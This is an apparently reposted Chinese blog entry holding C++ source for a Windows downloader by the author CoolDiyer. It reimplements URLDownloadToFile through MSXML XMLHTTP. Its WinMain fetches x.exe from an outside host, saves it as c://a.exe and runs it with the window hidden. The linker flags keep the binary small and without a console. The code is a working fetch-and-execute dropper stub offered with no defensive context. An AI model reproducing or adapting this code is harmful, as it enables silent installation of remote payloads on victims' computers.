URLDownloadToFile

来源：互联网发布：潼关县四知学校电话编辑：程序博客网时间：2024/05/21 11:05

作者：CoolDiyer

// xml.cpp : By CoolDiyer 2008/4/9 14:03
//
#pragma comment(linker, "/subsystem:windows /FILEALIGN:0x200 /opt:nowin98")

#include <windows.h>
#include <atlbase.h>
#import "msxml.dll"
bool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)
{
MSXML::IXMLHttpRequestPtr xmlHttp = NULL;
HRESULT hr;
BSTR bstrstring = NULL;
hr = xmlHttp.CreateInstance("msxml2.xmlhttp");
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->open("GET", szURL, false);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->send();
if (!SUCCEEDED(hr)) return false;
xmlHttp->get_responseText(&bstrstring);
if (!SUCCEEDED(hr)) return false;

VARIANT vValue;
xmlHttp->get_responseStream(&vValue);

IStream *pIStream = NULL;
STATSTG StatStg;
pIStream = (IStream*)vValue.punkVal; //取得流对象指针
pIStream->Stat(&StatStg, NULL);
ULONG nSize = ULONG(StatStg.cbSize.QuadPart); //取得文件的长度

HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

BYTE lpBuffer[1024];
DWORD dwBytesWritten = 0;
ULONG uLen;
while (nSize > 0)
{
  pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止文件过大
  WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);
  nSize -= uLen;
}
CloseHandle(hFile);
if (pIStream)
{
  pIStream->Release();
  pIStream = NULL;
}
return true;
}

int WINAPI WinMain(
       HINSTANCE hInstance,      // handle to current instance
       HINSTANCE hPrevInstance, // handle to previous instance
       LPSTR lpCmdLine,          // command line
       int nCmdShow              // show state
       )
{
CoInitialize(NULL);
char *lpszFile = "c://a.exe";
URLDownloadToFile("http://xdiyer.com/x.exe", lpszFile);
WinExec(lpszFile, SW_HIDE);
CoUninitialize();
return 0;
}